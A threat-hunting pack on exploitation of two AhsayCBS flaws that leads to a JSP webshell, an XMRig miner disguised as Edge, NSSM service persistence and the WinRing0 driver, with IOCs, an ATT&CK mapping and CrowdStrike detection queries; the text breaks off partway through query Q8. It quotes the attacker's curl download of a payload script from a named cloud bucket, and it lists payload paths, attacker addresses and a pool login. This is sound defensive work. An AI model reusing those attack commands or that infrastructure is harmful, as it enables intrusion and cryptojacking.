AhsayCBS CVE-2026-105133 + CVE-2026-105134: Webshell, XMRig Disguised as Edge, NSSM Service and WinRing0 Driver

Chained auth bypass and unauthenticated RCE in the AhsayCBS Replication Receiver · JSP webshell · XMRig as edge.exe · MicrosoftEdgeUpdateSvc · Taskgmr.ps1 · WinRing0x64.sys
Threat
AhsayCBS CVE-2026-105133 / CVE-2026-105134 exploitation (Huntress)
Severity
EXPLOITED ITW unauthenticated SYSTEM RCE, no patch at disclosure
Type
Edge-device style CVE exploitation, webshell, cryptominer, BYOVD
Access
Internet-exposed AhsayCBS management interface, versions through 10.3.4
Version
v0.1 · 2026-10-10
Author
HuntPack
Confidence
HIGH behavior (primary vendor plus CVE records); MEDIUM IOCs (single source)
01

Executive Summary

Attacker objective: remote code execution as NT AUTHORITY\SYSTEM on internet-exposed AhsayCBS backup management servers, then covert Monero mining. Huntress (published 2026-10-08) observed exploitation starting 2026-10-07 at 23:20:15 UTC and counted five organizations targeted as of 2026-10-08. AhsayCBS is used mainly by MSPs and system integrators, so one compromised console can sit in front of many customers' backups.

How it works: two flaws are chained. CVE-2026-105133 (medium, improper authentication in checkSysPwd, com/ahsay/obs/api/ApiStructsAction.java) lets a random token substitute for valid credentials. CVE-2026-105134 (critical, OS command injection through the random argument of /rps/api/json/UpdateReceivers.do in the Replication Receiver component) then gives code execution. After exploitation the actor configured a malicious replication receiver and dropped a JSP webshell into the web-served application directory. Further payloads came from an Alibaba Cloud OSS bucket via curl.exe and certutil.exe launched by the service process cbssvcX64.exe.

Post-exploitation: an XMRig miner named edge.exe and a renamed NSSM service wrapper named msedge.exe run from %TEMP% under a service called MicrosoftEdgeUpdateSvc (SYSTEM). Taskgmr.ps1 stops that service whenever Task Manager opens and kills Task Manager at 18:00 host-local time or after an hour open overnight. In one incident the legitimate but vulnerable WinRing0x64.sys kernel driver was loaded so the miner could reach hardware directly.

Patch status: no vendor patch was available at disclosure. NVD and INCIBE-CERT record the flaws against AhsayCBS up to 10.3.2 and say 10.3.4 resolves them, but Huntress updated its advisory on 2026-10-08 to state that 10.3.4 is also affected. This pack follows the Huntress finding (versions through 10.3.4) and flags the conflict in section 2.

Defender angle: the durable signal is a parent/child relationship, not an indicator: cbssvcX64.exe should almost never launch curl.exe, certutil.exe or a shell (Q1, Q2). Behind it sit the Edge masquerade (Q5, Q6), the persistence service (Q7, Q8), Temp staging (Q9) and pool traffic (Q11, Q12). The webshell write itself and the HTTP request to UpdateReceivers.do are not visible to a host sensor; the Coverage Map flags both as gaps and section 7 gives the native checks.

Defender priority: (1) take the AhsayCBS management interface off the internet or behind VPN / trusted-IP allow-listing today, because there is no patch (section 12, I1); (2) run Q1, Q2, Q5 and Q7 over 30 days on every AhsayCBS host; (3) if any IOC or query hits, Huntress advises a full host re-image from a trusted backup, since secondary backdoors were hidden.

02

Source Review & Web Hunter Notes

TierSourceKey findingCarry forward
1Huntress: Threat Actors Exploit Critical AhsayCBS Flaws to Drop Webshells and XMRig Cryptominer (2026-10-08)Primary research. Exploit chain, timeline, payload infrastructure, process behavior, persistence, Taskgmr.ps1 behavior, WinRing0 driver, IOC table, ATT&CK mapping, update that 10.3.4 is affected.Yes. Source of every atomic IOC and every campaign behavior. Single vendor, so every indicator ships detect. Snapshot 01-huntress-advisory.txt.
1Huntress threat-intel repository: AhsayCBS_XMRig_Miner Sigma rules (2026-10-08)Four post-exploitation Sigma rules by the same vendor: child of cbssvcX64/X86 with the documented baseline, Edge binary with --daemonized, Task Manager aware service control, WinRing0 plus URL on a command line. The notes also name an EdgeUpdateHelper service.Yes. Baseline exclusions for Q1, discriminators for Q4, Q5, Q14. Same vendor as the advisory, so it is not an independent source for any IOC. Snapshot 05-huntress-sigma-rules.txt.
1NVD: CVE-2026-105134OS command injection via the random argument of /rps/api/json/UpdateReceivers.do (Replication Receiver), CVSS 4.0 9.3 critical, public exploit, versions up to 10.3.2.Yes. Vulnerability detail. Retrieved through the NVD JSON API because the HTML page needs JavaScript. Snapshot 03-nvd-cve-105134.txt.
1NVD: CVE-2026-105133Improper authentication in checkSysPwd via the random argument, CVSS 4.0 5.5 medium, public exploit, versions up to 10.3.2.Yes. Snapshot 04-nvd-cve-105133.txt.
1INCIBE-CERT: CVE-2026-105134Independent national CERT record: CWE-77 command injection, same CVSS vectors and affected range as NVD.Partial. Corroborates the CVE detail; republishes the CNA text. Snapshot 06-incibe-cert-cve-105134.txt.
2SecurityWeek: Unpatched AhsayCBS Vulnerabilities Exploited in the Wild (2026-10-09)Secondary coverage summarizing Huntress: chained flaws, five organizations, disguised XMRig, NSSM service persistence, WinRing0x64.sys, mitigation.Partial. Corroborates behavior and the 10.3.4 update; it adds no indicators, so it is not an independent source for any IOC. Snapshot 02-securityweek.txt.
1MITRE ATT&CK: T1190, T1505.003, T1543.003, T1036.005, T1496.001Technique definitions and mitigation M-codes.Yes. Snapshots 07 to 11.
1Microsoft Learn: Attack surface reduction rules referenceRule "Block abuse of exploited vulnerable signed drivers", GUID, audit action type, and the limit that it does not stop an already-present driver loading.Yes. Authority for hardening N1. Snapshot 12-ms-asr-rules-reference.txt.

Web Hunter decisions and discrepancies

  • Affected-version conflict. NVD and INCIBE-CERT say AhsayCBS up to 10.3.2 and that upgrading to 10.3.4 resolves both flaws. Huntress states 10.3.4 is also vulnerable (update 2026-10-08, 6 pm ET), and SecurityWeek repeats that. The pack treats every version through 10.3.4 as exposed because the vendor with in-the-wild telemetry is the more recent and more specific source. Confirm against the Ahsay advisory when one appears; none was found.
  • Sources that could not be used. IT Security Guru's article was blocked by a Cloudflare bot challenge when fetched. The challenge was not bypassed and the article is not cited. The NVD HTML pages are JavaScript-only, so the NVD JSON API was used instead.
  • Single-source indicators. Every atomic IOC comes from the Huntress advisory alone. SecurityWeek, the Huntress Sigma repository and the CVE records add no independent indicator. Nothing in this pack ships at prevent.
  • Legitimate-component caveats. WinRing0x64.sys is a legitimate OpenLibSys driver shipped by real hardware tools, and xmr.kryptex.network is a public mining pool. Both are hunted by context and shipped at detect, never prevent. The source supplies no hash for the driver, and none is invented here.
  • Unverified from sources. The Huntress text gives no hash for config.json or the webshell, no webshell filename or directory, and no default AhsayCBS port or install path. The pack uses placeholders and behavior rather than guessing them.
  • Defensive extras ignored. Fetched pages carried navigation, newsletter and promotional text. None was addressed to this agent, none asked for any action, and none was used.
  • No injected instructions. Every fetched page was scanned for text directed at an automated agent. None was found.
03

Hunt Brief & Attack Chain

Hypotheses (ordered by fidelity)

IDHypothesisMITRETelemetry (CrowdStrike event)Confidence
H1The AhsayCBS service process launches a download tool, shell or recon utility.T1190, T1505.003, T1105Process creation with parent and command line (CrowdStrike: ProcessRollup2)HIGH
H2An Edge-named binary, or a child of the NSSM wrapper, runs from a user-writable folder.T1036.005, T1543.003Process creation with image path (CrowdStrike: ProcessRollup2)HIGH
H3A service named like Edge Update is created, or any service image sits in Temp.T1543.003, T1036.004Service creation (CrowdStrike: CreateService)HIGH
H4Payloads or the WinRing0 driver are staged in Temp, or fetched from the campaign bucket.T1105, T1608.001PE file write (CrowdStrike: PeFileWritten, NewExecutableWritten); command lineHIGH
H5A host talks to the Kryptex pool or resolves the pool or bucket name.T1571, T1496.001Outbound connection (CrowdStrike: NetworkConnectIP4); DNS lookup (CrowdStrike: DnsRequest)HIGH
H6PowerShell runs Taskgmr.ps1 or a Task Manager aware service-control script.T1564, T1057, T1124Process creation with command line (CrowdStrike: ProcessRollup2)MEDIUM
H7Published hashes or exploitation source addresses appear on the AhsayCBS host.T1190, T1105Process and file events; inbound and outbound connections (CrowdStrike: NetworkReceiveAcceptIP4)MEDIUM
H8Two or more of the above co-occur on one host.multiplemultipleHIGH

Attack chain

StepBehaviorTelemetryQuery
1 Auth bypassCVE-2026-105133: a random token substitutes valid credentials in checkSysPwdWeb server access logs only; outside endpoint telemetryGAP (N1)
2 RCECVE-2026-105134: OS command injection through /rps/api/json/UpdateReceivers.do, executes as SYSTEMWeb access logs; child processes of the serviceQ1, Q2, Q13
3 WebshellMalicious replication receiver configured; JSP webshell dropped in the web-served application directoryNo verified file-write event for .jsp; filesystem sweep and web logsGAP (N2)
4 Recon and downloadcbssvcX64.exe runs curl -sk -o ...\Temp\Taskgmr.ps1 http://... --max-time 60 and certutil.exe for the driverProcess creation with parent and command line (CrowdStrike: ProcessRollup2)Q1, Q2, Q3, Q4
5 StagingTaskgmr.ps1, edge.exe, msedge.exe, config.json, WinRing0x64.sys land in TempPE file write (CrowdStrike: PeFileWritten, NewExecutableWritten)Q9, Q10
6 PersistencePowerShell edits config.json; service MicrosoftEdgeUpdateSvc runs the NSSM wrapper msedge.exe from Temp as SYSTEMService creation (CrowdStrike: CreateService); process creationQ5, Q6, Q7, Q8
7 EvasionTaskgmr.ps1 stops the service while Task Manager is open, restarts it after, kills Task Manager at 18:00 host-local time or after an hour open overnightProcess creation with command line; script-block content outside endpoint process telemetryQ14; GAP for script content
8 BYOVDWinRing0x64.sys loaded so the miner gets kernel-level hardware accessFile write visible; driver load event not used (no verified driver-load event in the reference)Q4, Q9; GAP for the load
9 Miningedge.exe (XMRig) connects to xmr.kryptex.network (51.195.127.124) on TCP 8029Outbound connection (CrowdStrike: NetworkConnectIP4); DNS lookup (CrowdStrike: DnsRequest)Q11, Q12

Hunt hint: start from the parent. Everything before step 5 happens inside or beneath cbssvcX64.exe, so one parent-image filter (Q1) is the broadest net and Q2 is the sharpest. Q15 scores hosts that show two or more later-stage signals even if the service-child event was missed.

04

Consolidated IOC Table

Every atomic indicator below appears in the saved snapshot 01-huntress-advisory.txt. All are detect or hunt. None is set to prevent: every value is single-sourced to Huntress (SecurityWeek and the CVE records add no independent indicator), and the two reusable components (WinRing0x64.sys and the Kryptex pool) are legitimate things abused by many actors.

TypeValueConfidenceActionContextExpiry
SHA-25605f69ae6b2b89c1c4dcf836bff032232f11bf0109f2b498e2345045d06139034MEDIUMdetectmsedge.exe, modified NSSM service wrapper2027-04-10
SHA-2564dcb0202fe8b2d4d7b183764e38184cd6ed50132786cc7e7d1f7f4bce1dd6f3dMEDIUMdetectedge.exe, XMRig Monero miner2027-04-10
SHA-256481728a7c9c4c02be07051d9c1958d902ea6397ebb8952ab83944818e3d25d21MEDIUMdetectTaskgmr.ps1, PowerShell Task Manager evasion script2027-04-10
Domainimagefiles-backup.oss-ap-southeast-7.aliyuncs.comMEDIUMdetectPayload hosting bucket (Alibaba Cloud OSS). Alibaba OSS is a legitimate service, so only this bucket name is listed, never the parent domain2027-04-10
Domainxmr.kryptex.networkMEDIUMdetectMining pool. Kryptex is a public pool: a hit means mining software of any origin, not necessarily this actor2027-04-10
IPv451.195.127.124MEDIUMdetectPool IP, TCP 80292027-04-10
IPv4177.4.12.11MEDIUMdetectExploitation source address (AS140227 Hong Kong, per Huntress). Perishable; shared hosting ranges2027-04-10
IPv438.60.252.110MEDIUMdetectExploitation source address (AS154177 Vietnam, per Huntress). Perishable; shared hosting ranges2027-04-10
IPv4107.191.47.199MEDIUMdetectExploitation source address (AS20473 France, per Huntress). Perishable; shared hosting ranges2027-04-10
IPv4185.220.236.49MEDIUMdetectExploitation source address (AS38136 Taiwan, per Huntress). Perishable; shared hosting ranges2027-04-10
IPv4104.234.26.10MEDIUMdetectExploitation source address (AS134677 United States, per Huntress). Perishable; shared hosting ranges2027-04-10
IPv4123.202.208.37MEDIUMdetectExploitation source address (AS9269 Hong Kong, per Huntress). Perishable; shared hosting ranges2027-04-10
URL path/javas/Office/win/Taskgmr.ps1HIGHhuntOn the payload bucket, plain HTTP. Hunted by path in Q3 (not imported: URL type not valid for Falcon IOC import)n/a
URL path/javas/Office/win/edge.exeHIGHhuntOn the payload bucket, plain HTTP. Hunted by path in Q3 (not imported: URL type not valid for Falcon IOC import)n/a
URL path/javas/Office/win/msedge.exeHIGHhuntOn the payload bucket, plain HTTP. Hunted by path in Q3 (not imported: URL type not valid for Falcon IOC import)n/a
URL path/javas/Office/win/config.jsonHIGHhuntOn the payload bucket, plain HTTP. Hunted by path in Q3 (not imported: URL type not valid for Falcon IOC import)n/a
URL path/javas/Office/win/WinRing0x64.sysHIGHhuntOn the payload bucket, plain HTTP. Hunted by path in Q3 (not imported: URL type not valid for Falcon IOC import)n/a
Pool loginkrxYMRN97D/creativejs on xmr.kryptex.network:8029MEDIUMhuntPool user and unique identifier per Huntress. Not visible in endpoint telemetry unless it appears on a command line or in config.jsonn/a
ServiceMicrosoftEdgeUpdateSvc (also EdgeUpdateHelper per Sigma notes)HIGHhuntSYSTEM service, image msedge.exe in Temp (Q7). Real Microsoft services are edgeupdate / edgeupdatemn/a
File namesedge.exe, msedge.exe, Taskgmr.ps1, config.json, WinRing0x64.sysHIGHhuntHunt by name plus location (Temp). WinRing0x64.sys is a legitimate OpenLibSys driver and msedge.exe is a real Edge name: never block by namen/a
ProcesscbssvcX64.exe / cbssvcX86.exe parent of curl.exe, certutil.exeHIGHhuntThe AhsayCBS service as parent of download tools: highest-value behavior (Q1, Q2)n/a
Endpoint/rps/api/json/UpdateReceivers.doHIGHhuntVulnerable URL path in web server logs (native hunt N1)n/a

Not shipped: any hash for config.json, the JSP webshell or WinRing0x64.sys (the source gives none), and any related-cluster indicator. The pool login is hunt-only context.

05

Affected Surface & Telemetry Matrix

SurfaceRequired telemetryPriorityGap risk
Windows servers running AhsayCBS (management console exposed to the internet)Process creation with parent and command line, PE file writes, service creation, network with process context (CrowdStrike: ProcessRollup2, PeFileWritten, CreateService, NetworkConnectIP4)CRITICALThe webshell file write and the HTTP request to the vulnerable endpoint are outside endpoint telemetry
AhsayCBS web server access logs (Tomcat) and application logsRequests to /rps/api/json/UpdateReceivers.do, replication receiver configuration changesHIGHLog location and retention are install-specific and not given by the sources; auditing may be thin
Perimeter firewall, reverse proxy, WAFInbound connection logs to the console ports; outbound logs to the mining pool and the OSS bucketHIGHSource addresses are perishable and single-sourced; pool and bucket names resolve to shared services
DNS resolver logsLookups of xmr.kryptex.network and the bucket hostMEDIUMEndpoint DNS coverage depends on sensor version
Windows event logsSystem 7045 (service installed), Security 4688 with command line, driver load eventsMEDIUMCommand-line auditing is off by default (playbook P2)
Backup data and credentials held by the consoleAccount and replication-receiver inventoryMEDIUMThe sources do not state what the actor read; treat stored credentials as exposed until reviewed (inference, not reported)
Linux / macOS / cloud workloadsNone requiredLOWThe reported payloads and persistence are Windows-specific
06

ATT&CK Mapping

TacticTechniqueNameObserved behaviorQueryMitigations
Resource DevelopmentT1608.001Stage Capabilities: Upload MalwarePayloads staged on an Alibaba Cloud OSS bucketQ3, Q12Not mapped from a saved page
Initial AccessT1190Exploit Public-Facing ApplicationCVE-2026-105133 auth bypass chained with CVE-2026-105134 RCEQ1, Q2, Q13 (indirect)M1048, M1050, M1037, M1035, M1030, M1026, M1051, M1016
ExecutionT1059.001 / T1059.003PowerShell / Windows Command ShellTaskgmr.ps1; service-spawned curl and certutilQ2, Q3, Q14Not mapped from a saved page
ExecutionT1569.002System Services: Service Executionmsedge.exe wrapper run as SYSTEM via the serviceQ5, Q6, Q7Not mapped from a saved page
PersistenceT1505.003Server Software Component: Web ShellMalicious replication receiver and JSP webshell in the application directoryQ1, Q2 (children); file write is a GAPM1042, M1018
Persistence / Privilege EscalationT1543.003Create or Modify System Process: Windows ServiceService MicrosoftEdgeUpdateSvc keeps edge.exe alive as SYSTEMQ6, Q7, Q8M1047, M1040, M1045, M1028, M1018
Defense EvasionT1036.004 / T1036.005Masquerading: Task or Service / Match Legitimate Name or LocationService named like Edge Update; NSSM renamed msedge.exe, XMRig renamed edge.exeQ5, Q6, Q7M1045, M1038, M1022 (T1036.005)
Defense EvasionT1564Hide ArtifactsTaskgmr.ps1 stops the service while Task Manager is openQ14Not mapped from a saved page
DiscoveryT1057 / T1124Process Discovery / System Time DiscoveryTaskgmr.ps1 polls for Task Manager and reads local time with Get-DateQ14Not mapped from a saved page
Command and ControlT1105 / T1071.001 / T1571Ingress Tool Transfer / Web Protocols / Non-Standard Portcurl and certutil downloads over HTTP; pool on TCP 8029Q2, Q3, Q4, Q9, Q11, Q12Not mapped from a saved page
ImpactT1496.001Resource Hijacking: Compute HijackingXMRig miner plus WinRing0x64.sys for kernel hardware accessQ4, Q5, Q6, Q9, Q11, Q12, Q15MITRE: not easily mitigated with preventive controls (behavioral detection)

Mitigation M-codes for T1190, T1505.003, T1543.003, T1036.005 and T1496.001 were read from the saved MITRE snapshots (07 to 11). Rows marked "Not mapped from a saved page" were not checked against a saved MITRE page and carry no M-code. The technique IDs come from the Huntress mapping.

07

Native Audit-Log Hunts

Hunts that need no CQL. The first two cover the stages a host sensor cannot see.

N1 · Web server log hunt for the vulnerable endpoint

In the AhsayCBS web server access log (location is install-specific; check the AhsayCBS logs folder or your reverse proxy), search for requests to /rps/api/json/UpdateReceivers.do, especially from addresses that are not your replication peers, with unusual values in a random parameter, and any such request that precedes a child process of the service. Also review replication-receiver configuration in the console for receivers you did not create.

N2 · Webshell sweep (read-only)

Look for recently created .jsp files in the web-served application directory. Replace the placeholder with the path of your own install; the sources do not name the directory.

# Read-only: recent .jsp files under the AhsayCBS web application directory
$cbs = 'REPLACE_WITH_AHSAYCBS_INSTALL_PATH'
Get-ChildItem -Path $cbs -Recurse -Include *.jsp -Force -ErrorAction SilentlyContinue |
  Sort-Object LastWriteTime -Descending |
  Select-Object -First 50 FullName, Length, CreationTime, LastWriteTime
# Compare against the vendor-shipped file list or a known-good backup; any .jsp newer than the last upgrade is suspect.

N3 · Windows event cross-reference

  • System 7045 (service installed): service name MicrosoftEdgeUpdateSvc or EdgeUpdateHelper, image path in a Temp folder, account LocalSystem.
  • Security 4688 (needs command-line auditing, playbook P2): parent cbssvcX64.exe with curl or certutil; command line containing aliyuncs.com or WinRing0.
  • Sysmon (if deployed): Event ID 1 with ParentImage ending \cbssvcX64.exe; Event ID 6 (driver loaded) for WinRing0x64.sys from a Temp path; Event ID 11 for edge.exe / msedge.exe in Temp.
  • PowerShell Operational 4104 (script block logging, if on): taskmgr together with Stop-Service and Start-Service (Huntress's own logic).

N4 · Network hunt

In firewall or NetFlow data, search for TCP 8029 from servers, for the pool IP, and for plain HTTP (port 80) from the AhsayCBS host to aliyuncs.com addresses. A backup server has no business reaching a mining pool. Resolver logs: xmr.kryptex.network and the bucket host.

N5 · Resource and performance check

Mining is loud on CPU. Compare AhsayCBS host CPU history against its baseline and look for sustained high CPU from a process named edge.exe or a Temp-resident msedge.exe. Note that Taskgmr.ps1 deliberately hides this when someone opens Task Manager, so use remote tooling rather than a local session.

08

Hunt Queries: CrowdStrike CQL and SentinelOne PowerQuery

Show all queries in
Pick your tenant's cloud first: every "Open in Falcon" button below uses this selection.

Events and fields were checked against the crowdstrike-logscale-v3 references. Queries marked "validate in tenant" depend on CreateService fields (ServiceDisplayName, ServiceImagePath) or on NetworkReceiveAcceptIP4, which are not documented in the local reference: run each event filter alone with count() over 24 hours first (gate G1). No query uses a driver-load, module-load, mutex or script-content event, because none is verified in the reference. File basenames are matched with FileName regexes and slashes inside regexes are escaped.

Q1 · cbssvcX64.exe spawns an unexpected child process (webshell or exploit execution)
CONF HIGHFP LOWCOST LOW

Looks for: The AhsayCBS service process (cbssvcX64.exe or cbssvcX86.exe) hosts its Tomcat web app in-process, so a JSP webshell or the UpdateReceivers.do injection runs commands as a direct child of the service. This query returns any child outside the baseline Huntress documents (7za, rotatelogs, conhost, java, startup probes, the V7 migration batch). FP: none expected on a stable install; a new AhsayCBS release that adds startup commands is the only known cause.

Validation: static-reviewedEquivalence: equivalent-with-schema-assumptionsProfiles: sentinelone-endpoint-ocsf
Known limitations and deployment notes
  • PowerQuery: A child launched by a process the agent did not observe starting is not captured.
  • PowerQuery assumes: On Process Creation, tgt.process.* is the new process and src.process.* is its creator, so the CQL ParentBaseFileName maps to src.process.name.
  • PowerQuery assumes: tgt.process.image.sha256 may be unpopulated on some tenants and is a display column only.
  • PowerQuery assumes: The CQL regexes are case-insensitive; PowerQuery matches is case-insensitive by default, and the name allowlist uses in:anycase.
// HUNT: any unexpected child of the AhsayCBS service process (webshell / RCE execution)
// MITRE: T1190, T1505.003, T1059.003
// CONF: high | FP: low | COST: low | REQUIRES: ProcessRollup2 with ParentBaseFileName and CommandLine
// SOURCE: Huntress advisory + Huntress Sigma rule "Unexpected Child Process from AhsayCBS Service"
// FALSE POSITIVES: AhsayCBS releases that add new startup or maintenance commands
// TUNING: if a release adds a benign startup command, add one more | CommandLine!=/.../i line for that exact string; never exclude by FileName alone
// LOOKBACK: 30d
#event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/
| ParentBaseFileName=/^cbssvcX(64|86)\.exe$/i
| FileName!=/^(7za|rotatelogs|conhost|java|cbssvcX64|cbssvcX86)\.exe$/i
| CommandLine!=/^("?([a-z]:\\windows\\system32\\)?cmd\.exe"? \/c (ipconfig \/all|ver|uname -i)|ipconfig +\/all)\s*$/i
| CommandLine!=/^cmd\.exe \/c bin\\MigrateV7\.bat >\.\\MigrateV7\.log\s*$/i
| table([@timestamp, ComputerName, UserName, FileName, CommandLine, ParentBaseFileName, SHA256HashData, aid], limit=200)
Q2 · cbssvcX64.exe spawns curl, certutil, PowerShell or recon tools
CONF HIGHFP LOWCOST LOW

Looks for: The single highest-value detection in this campaign. Huntress first noticed the intrusion from curl.exe and certutil.exe children of the AhsayCBS service downloading payloads into %TEMP%. This narrower query fires on the download and recon tools specifically, so it can be promoted to a Custom IOA. FP: none expected; AhsayCBS has no reason to launch these.

Validation: static-reviewedEquivalence: equivalent-with-schema-assumptionsProfiles: sentinelone-endpoint-ocsf
Known limitations and deployment notes
  • PowerQuery: A child launched by a process the agent did not observe starting is not captured.
  • PowerQuery assumes: On Process Creation, tgt.process.* is the new process and src.process.* is its creator, so the CQL ParentBaseFileName maps to src.process.name.
  • PowerQuery assumes: Name matching uses in:anycase to reproduce the CQL case-insensitive regex.
// HUNT: AhsayCBS service process launching curl / certutil / PowerShell / recon utilities
// MITRE: T1190, T1105, T1059.001, T1059.003
// CONF: high | FP: low | COST: low | REQUIRES: ProcessRollup2 with ParentBaseFileName
// SOURCE: Huntress advisory (cbssvcX64.exe spawned curl and certutil to drop payloads in %TEMP%)
// FALSE POSITIVES: none expected
// LOOKBACK: 30d
#event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/
| ParentBaseFileName=/^cbssvcX(64|86)\.exe$/i
| FileName=/^(curl|certutil|powershell|pwsh|bitsadmin|wget|mshta|sc|schtasks|whoami|systeminfo|net|net1|nltest|tasklist)\.exe$/i
| table([@timestamp, ComputerName, UserName, FileName, CommandLine, ParentBaseFileName, SHA256HashData, aid], limit=200)
Q3 · Payload download from the campaign Alibaba Cloud OSS bucket or of Taskgmr.ps1
CONF HIGHFP LOWCOST LOW

Looks for: A command line that names the campaign bucket imagefiles-backup.oss-ap-southeast-7.aliyuncs.com, its /javas/Office/win/ path, or Taskgmr.ps1. The observed command is curl -sk -o ...\Temp\Taskgmr.ps1 http://... --max-time 60. The path is matched as well as the host so a re-hosted copy of the same layout still fires. FP: none expected.

Validation: static-reviewedEquivalence: equivalent-with-schema-assumptionsProfiles: sentinelone-endpoint-ocsf
Known limitations and deployment notes
  • PowerQuery: Downloads made by a process that does not carry the URL on its own command line are not captured.
  • PowerQuery assumes: contains is case-insensitive by default, matching the CQL /i regex.
  • PowerQuery assumes: The bucket name is single-sourced from the vendor advisory.
// HUNT: command line fetching from the campaign OSS bucket / path, or naming Taskgmr.ps1
// MITRE: T1105, T1608.001, T1059.003
// CONF: high | FP: low | COST: low | REQUIRES: ProcessRollup2 with CommandLine
// SOURCE: Huntress advisory (curl download command, payload URLs); bucket name is single-sourced
// FALSE POSITIVES: none expected
// LOOKBACK: 30d
#event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/
| CommandLine=/(imagefiles-backup\.oss-ap-southeast-7\.aliyuncs\.com|\/javas\/Office\/win\/|Taskgmr\.ps1)/i
| table([@timestamp, ComputerName, UserName, FileName, CommandLine, ParentBaseFileName, aid], limit=200)
Q4 · WinRing0 driver named alongside a download URL on a command line
CONF HIGHFP LOWCOST LOW

Looks for: The vulnerable WinRing0x64.sys driver was fetched with the built-in certutil.exe into the user Temp folder. Hardware-monitoring tools ship the driver inside their installers, so a command line that names WinRing0 and a URL is the discriminator (this mirrors Huntress's own Sigma logic). FP: an administrator manually downloading a hardware-monitoring driver.

Validation: static-reviewedEquivalence: equivalent-with-schema-assumptionsProfiles: sentinelone-endpoint-ocsf
Known limitations and deployment notes
  • PowerQuery: A driver fetched by a process that hides the URL from its command line is not captured.
  • PowerQuery assumes: contains and matches are case-insensitive by default, matching the CQL /i regex.
// HUNT: command line naming WinRing0 together with a URL (certutil / curl driver fetch)
// MITRE: T1105, T1496.001
// CONF: high | FP: low | COST: low | REQUIRES: ProcessRollup2 with CommandLine
// SOURCE: Huntress advisory + Huntress Sigma rule "WinRing0 Driver Downloaded via Command Line"
// FALSE POSITIVES: administrators manually fetching a hardware-monitoring driver
// LOOKBACK: 30d
#event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/
| CommandLine=/winring0/i
| CommandLine=/(https?|ftp):\/\//i
| table([@timestamp, ComputerName, UserName, FileName, CommandLine, ParentBaseFileName, aid], limit=200)
Q5 · Edge-named binary running from a user-writable folder or with --daemonized
CONF HIGHFP LOWCOST LOW

Looks for: Genuine Microsoft Edge runs msedge.exe from C:\Program Files (x86)\Microsoft\Edge\Application, and there is no genuine edge.exe at all. Here the NSSM wrapper (msedge.exe) and the XMRig miner (edge.exe) ran from Temp. The --daemonized flag is the second signal from Huntress's Sigma rule. FP: none expected; a portable Edge copy in a user folder is the only oddity.

Validation: static-reviewedEquivalence: equivalent-with-schema-assumptionsProfiles: sentinelone-endpoint-ocsf
Known limitations and deployment notes
  • PowerQuery: A miner renamed to something other than edge.exe or msedge.exe is not captured.
  • PowerQuery assumes: tgt.process.image.path holds the full Windows path of the created process.
  • PowerQuery assumes: Backslashes in the path regex are double-escaped as PowerQuery requires.
// HUNT: edge.exe / msedge.exe executing from Temp, Public or ProgramData, or with --daemonized
// MITRE: T1036.005, T1496.001, T1569.002
// CONF: high | FP: low | COST: low | REQUIRES: ProcessRollup2 with ImageFileName and CommandLine
// SOURCE: Huntress advisory + Huntress Sigma rule "Fake Edge Binary Launched with Daemonized Flag"
// FALSE POSITIVES: a portable Edge copy deliberately placed in a user folder
// LOOKBACK: 30d
#event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/
| FileName=/^(edge|msedge)\.exe$/i
| ImageFileName=/\\(Temp|Users\\Public|ProgramData)\\[^\\]+$/i OR CommandLine=/--daemonized/i
| table([@timestamp, ComputerName, UserName, FileName, ImageFileName, CommandLine, ParentBaseFileName, SHA256HashData, aid], limit=200)
Q6 · msedge.exe (renamed NSSM) parenting edge.exe (XMRig)
CONF HIGHFP LOWCOST LOW

Looks for: Persistence works through a renamed NSSM service wrapper that keeps the miner alive after a crash or reboot. In process telemetry that is msedge.exe as the parent of edge.exe. Real Edge spawns msedge.exe children, never edge.exe. FP: none expected.

Validation: static-reviewedEquivalence: equivalent-with-schema-assumptionsProfiles: sentinelone-endpoint-ocsf
Known limitations and deployment notes
  • PowerQuery: A wrapper that does not appear as the creator on the event is not captured.
  • PowerQuery assumes: On Process Creation, tgt.process.* is the new process and src.process.* is its creator, so the CQL ParentBaseFileName maps to src.process.name.
// HUNT: msedge.exe (NSSM wrapper) as parent of edge.exe (XMRig miner)
// MITRE: T1543.003, T1036.005, T1496.001
// CONF: high | FP: low | COST: low | REQUIRES: ProcessRollup2 with ParentBaseFileName
// SOURCE: Huntress advisory (msedge.exe is a modified NSSM that keeps edge.exe running)
// FALSE POSITIVES: none expected
// LOOKBACK: 30d
#event_simpleName=/^(ProcessRollup2|SyntheticProcessRollup2)$/
| ParentBaseFileName=/^msedge\.exe$/i
| FileName=/^edge\.exe$/i
| table([@timestamp, ComputerName, UserName, FileName, ImageFileName, CommandLine, ParentBaseFileName, SHA256HashData, aid], limit=200)
Q7 · MicrosoftEdgeUpdateSvc service created, or a service running edge.exe / msedge.exe from Temp
CONF HIGHFP LOWCOST LOW

Looks for: The persistence service is named MicrosoftEdgeUpdateSvc (Huntress also mentions an EdgeUpdateHelper service in its Sigma notes). The real Microsoft services are edgeupdate and edgeupdatem, so the name alone is a mimic. The image path in Temp is the part that cannot be explained. FP: none expected.

Validation: static-reviewedEquivalence: unsupported-without-redesignProfiles: sentinelone-endpoint-ocsf
Known limitations and deployment notes
  • PowerQuery: Service display name and image path at creation are not visible in the attested field model.
// HUNT: service named MicrosoftEdgeUpdateSvc / EdgeUpdateHelper, or Edge-named service image in Temp
// MITRE: T1543.003, T1036.004, T1569.002
// CONF: high | FP: low | COST: low | REQUIRES: CreateService with ServiceDisplayName and ServiceImagePath (validate in tenant)
// SOURCE: Huntress advisory (service MicrosoftEdgeUpdateSvc, SYSTEM, msedge.exe in Temp); EdgeUpdateHelper from the Huntress Sigma rule notes
// FALSE POSITIVES: none expected
// LOOKBACK: 30d
#event_simpleName=CreateService
| ServiceDisplayName=/^(MicrosoftEdgeUpdateSvc|EdgeUpdateHelper)$/i OR ServiceImagePath=/\\Temp\\(ms)?edge\.exe/i
| table([@timestamp, ComputerName, UserName, ServiceDisplayName, ServiceImagePath, aid], limit=200)
Q8 · Any service whose image sits in a Temp folder (generic NSSM-from-Temp persistence)
CONF MEDIUMFP MEDIUMCOST LOW

Looks for: Generalizes Q7 so a renamed service or a different wrapper filename is still caught. Legitimate services do not run from \Temp\. FP: some installers and driver packages register a transient service from a Temp extraction folder during setup; software that unpacks and runs a helper service during an update. Triage by image path and signer.

